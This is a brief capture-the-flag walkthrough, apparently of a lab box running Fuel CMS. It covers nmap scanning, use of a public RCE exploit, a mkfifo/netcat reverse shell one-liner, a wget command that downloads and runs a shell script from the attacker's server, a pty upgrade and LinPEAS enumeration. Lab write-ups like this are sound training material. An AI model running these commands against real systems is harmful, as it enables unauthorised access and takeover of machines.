Ignite
Last updated
Was this helpful?
Last updated
Was this helpful?
Recognition
nmap -sCV -A -O 10.10.226.192
we have a login page
So I searched about this system (fuel cms) on the exploitdb site and found this:
I will use the RCE Exploit because other else requires authentication and we don't have any credentials
the exploit be like
and it uses python2
using the RCE we check that the machine has WGET command
so I will use this to download and run a reverse shell file
so I created a .sh file on my machine that contains it:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
and to access the machine, I used a python server
nc -lvp PORT
python3 -m http.server 80
now I will download the file and run it in the box using RCE
wget IP/revshell.sh -O /tmp/revshell.sh; sh /tmp/revshell.sh
it works
checking if we have python
whereis python
we have python, so we will use it to get a tty
python -c 'import pty;pty.spawn("/bin/bash")'
again using wget, we will use LinPeas to enumerate possible privilege escalation vectors
we will download on our machine, upload a server and then download in the box through our machine
in our machine:
python3 -m http.server 80
in the box
cd /tmp
wget <your_IP>/linpeas.sh
giving the permissions
chmod +x linpeas.sh
running
./linpeas.sh
checking out this database
trying using this password
that's it, thanks for reading
wget